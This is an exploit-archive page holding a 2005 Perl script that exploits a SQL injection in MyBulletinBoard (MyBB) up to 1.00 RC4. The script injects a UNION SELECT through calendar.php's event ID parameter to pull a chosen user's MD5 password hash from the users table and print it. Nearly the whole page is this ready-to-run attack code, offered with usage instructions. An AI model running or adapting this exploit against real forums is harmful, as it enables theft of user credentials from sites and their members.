[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MyBulletinBoard (MyBB) <= 1.00 RC4 SQL Injection Exploit
# Published : 2005-05-31
# Author : Alberto Trivero
# Previous Title : Zeroboard 4.1 preg_replace Remote nobody Shell Exploit
# Next Title : myBloggie 2.1.1 - 2.1.2 SQL Injection Exploit


#!/usr/bin/perl -w
#
# SQL Injection Exploit for MyBulletinBoard (MyBB) <= 1.00 RC4
# This exploit show the MD5 crypted password of the user id you've chose
# Related advisory: 
# Patch: http://www.mybboard.com/community/showthread.php?tid=2559
# http://fain182.badroot.org
# http://www.codebug.org
# Discovered by Alberto Trivero and coded with FAiN182

use LWP::Simple;

print "nt===========================================n";
print "t= Exploit for MyBulletinBoard <= 1.00 RC4 =n";
print "t= Alberto Trivero & FAiN182 - codebug.org =n";
print "t===========================================nn";

if(!$ARGV[0] or !$ARGV[1]) {
   print "Usage:nperl $0 [full_target_path] [user_id]nnExample:nperl $0 http://www.example.com/mybb/ 1n";
   exit(0);
}

$url = "calendar.php?action=event&eid='%20UNION%20SELECT%20uid,uid,null,null,null,null,password,null%20FROM%20mybb_users%20WHERE%20uid=$ARGV[1]/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]n";
$page =~ m/<td><strong>(.*?)</strong>/ && print "[+] User ID is: $1n";
print "[-] Unable to retrieve User IDn" if(!$1);
$page =~ m/<a href="member.php?action=profile&uid=">(.*?)</a>/ && print "[+] MD5 hash of password is: $1n";
print "[-] Unable to retrieve hash of passwordn" if(!$1);

# www.Syue.com [2005-05-31]